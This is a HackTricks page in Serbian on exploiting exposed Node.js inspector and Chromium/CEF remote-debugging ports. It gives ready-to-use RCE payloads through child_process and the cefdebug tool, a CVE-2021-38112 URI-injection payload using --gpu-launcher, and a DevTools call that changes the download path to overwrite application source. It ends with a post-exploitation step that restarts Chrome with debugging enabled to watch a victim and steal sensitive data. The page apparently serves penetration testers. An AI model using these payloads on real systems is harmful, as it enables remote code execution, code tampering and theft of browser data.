Node inspector/CEF debug abuse

Support HackTricks

Basic Information

From the docs: Kada se pokrene sa --inspect preklopnikom, Node.js proces sluša za klijentom za debagovanje. Po defaultu, sluša na adresi i portu 127.0.0.1:9229. Svakom procesu je takođe dodeljen jedinstveni UUID.

Klijenti inspektora moraju znati i odrediti adresu hosta, port i UUID za povezivanje. Puna URL adresa će izgledati otprilike kao ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e.

Pošto debugger ima pun pristup Node.js okruženju za izvršavanje, zlonamerna osoba koja može da se poveže na ovaj port može biti u mogućnosti da izvrši proizvoljan kod u ime Node.js procesa (potencijalna eskalacija privilegija).

Postoji nekoliko načina za pokretanje inspektora:

node --inspect app.js #Will run the inspector in port 9229
node --inspect=4444 app.js #Will run the inspector in port 4444
node --inspect=0.0.0.0:4444 app.js #Will run the inspector all ifaces and port 4444
node --inspect-brk=0.0.0.0:4444 app.js #Will run the inspector all ifaces and port 4444
# --inspect-brk is equivalent to --inspect

node --inspect --inspect-port=0 app.js #Will run the inspector in a random port
# Note that using "--inspect-port" without "--inspect" or "--inspect-brk" won't run the inspector

Kada pokrenete inspekcijski proces, nešto poput ovoga će se pojaviti:

Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
For help, see: https://nodejs.org/en/docs/inspector

Procesi zasnovani na CEF (Chromium Embedded Framework) treba da koriste parametar: --remote-debugging-port=9222 da bi otvorili debugger (zaštite od SSRF ostaju veoma slične). Međutim, oni umesto davanja NodeJS debug sesije će komunicirati sa pregledačem koristeći Chrome DevTools Protocol, ovo je interfejs za kontrolu pregledača, ali ne postoji direktan RCE.

Kada pokrenete debagovani pregledač, nešto poput ovoga će se pojaviti:

DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4c6-fcf5c35b4369

Browsers, WebSockets and same-origin policy

Veb-sajtovi otvoreni u veb-pretraživaču mogu da prave WebSocket i HTTP zahteve pod modelom bezbednosti pretraživača. Početna HTTP veza je neophodna da bi se dobio jedinstveni ID sesije debagera. Politika iste porekla sprečava veb-sajtove da mogu da naprave ovu HTTP vezu. Za dodatnu bezbednost protiv DNS rebinding napada, Node.js proverava da li 'Host' zaglavlja za vezu ili specificiraju IP adresu ili localhost ili localhost6 tačno.

Ove bezbednosne mere sprečavaju korišćenje inspektora za pokretanje koda samo slanjem HTTP zahteva (što bi moglo biti učinjeno iskorišćavanjem SSRF ranjivosti).

Starting inspector in running processes

Možete poslati signal SIGUSR1 pokrenutom nodejs procesu da bi pokrenuo inspektora na podrazumevanom portu. Međutim, imajte na umu da morate imati dovoljno privilegija, tako da ovo može omogućiti privilegovan pristup informacijama unutar procesa ali ne i direktnu eskalaciju privilegija.

kill -s SIGUSR1 <nodejs-ps>
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d

Ovo je korisno u kontejnerima jer gašenje procesa i pokretanje novog sa --inspect nije opcija jer će kontejner biti ubijen zajedno sa procesom.

Povezivanje sa inspektorom/debuggerom

Da biste se povezali sa pregledačem zasnovanim na Chromium-u, možete pristupiti URL-ovima chrome://inspect ili edge://inspect za Chrome ili Edge, respektivno. Klikom na dugme Konfiguriši, treba osigurati da su ciljni host i port ispravno navedeni. Slika prikazuje primer daljinskog izvršavanja koda (RCE):

Korišćenjem komandne linije možete se povezati sa debuggerom/inspektorom sa:

node inspect <ip>:<port>
node inspect 127.0.0.1:9229
# RCE example from debug console
debug> exec("process.mainModule.require('child_process').exec('/Applications/iTerm.app/Contents/MacOS/iTerm2')")

Alat https://github.com/taviso/cefdebug omogućava pronalazak inspektora koji se izvode lokalno i ubacivanje koda u njih.

#List possible vulnerable sockets
./cefdebug.exe
#Check if possibly vulnerable
./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.version"
#Exploit it
./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.mainModule.require('child_process').exec('calc')"

Napomena: NodeJS RCE eksploatiacije neće raditi ako je povezan sa pregledačem putem Chrome DevTools Protocol (trebalo bi da proverite API da biste pronašli zanimljive stvari koje možete raditi sa njim).

RCE u NodeJS Debuggeru/Inspektoru

Ako ste došli ovde tražeći kako da dobijete RCE iz XSS u Electron, molimo proverite ovu stranicu.

Neki uobičajeni načini za dobijanje RCE kada možete povezati sa Node inspektorom su korišćenje nečega poput (izgleda da ovo neće raditi u vezi sa Chrome DevTools protokolom):

process.mainModule.require('child_process').exec('calc')
window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe")
require('child_process').spawnSync('calc.exe')
Browser.open(JSON.stringify({url: "c:\\windows\\system32\\calc.exe"}))

Chrome DevTools Protocol Payloads

Možete proveriti API ovde: https://chromedevtools.github.io/devtools-protocol/ U ovom odeljku ću samo navesti zanimljive stvari koje sam primetio da su ljudi koristili za eksploataciju ovog protokola.

U CVE-2021-38112 Rhino security je otkrio da je aplikacija zasnovana na CEF registrovala prilagođeni URI u sistemu (workspaces://) koji je primao puni URI i zatim pokretao CEF zasnovanu aplikaciju sa konfiguracijom koja je delimično konstruisana iz tog URI-ja.

Otkriveno je da su URI parametri bili URL dekodirani i korišćeni za pokretanje CEF osnovne aplikacije, omogućavajući korisniku da ubaci flag --gpu-launcher u komandnu liniju i izvrši proizvoljne stvari.

Dakle, payload kao:

workspaces://anything%20--gpu-launcher=%22calc.exe%22@REGISTRATION_CODE

Will execute a calc.exe.

Overwrite Files

Promenite fasciklu u kojoj će preuzeti fajlovi biti sačuvani i preuzmite fajl da prepišete često korišćeni izvorni kod aplikacije sa vašim malicioznim kodom.

ws = new WebSocket(url); //URL of the chrome devtools service
ws.send(JSON.stringify({
id: 42069,
method: 'Browser.setDownloadBehavior',
params: {
behavior: 'allow',
downloadPath: '/code/'
}
}));

Webdriver RCE i eksfiltracija

Prema ovom postu: https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148 moguće je dobiti RCE i eksfiltrirati interne stranice iz theriver.

Post-eksploatacija

U pravom okruženju i nakon kompromitovanja korisničkog računara koji koristi Chrome/Chromium baziran pretraživač, mogli biste pokrenuti Chrome proces sa aktiviranim debagovanjem i preusmeriti debag port kako biste mu pristupili. Na ovaj način ćete moći da inspektujete sve što žrtva radi sa Chrome-om i ukradete osetljive informacije.

Tajni način je da prekinete svaki Chrome proces i zatim pozovete nešto poput

Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session"

References

Podržite HackTricks

Last updated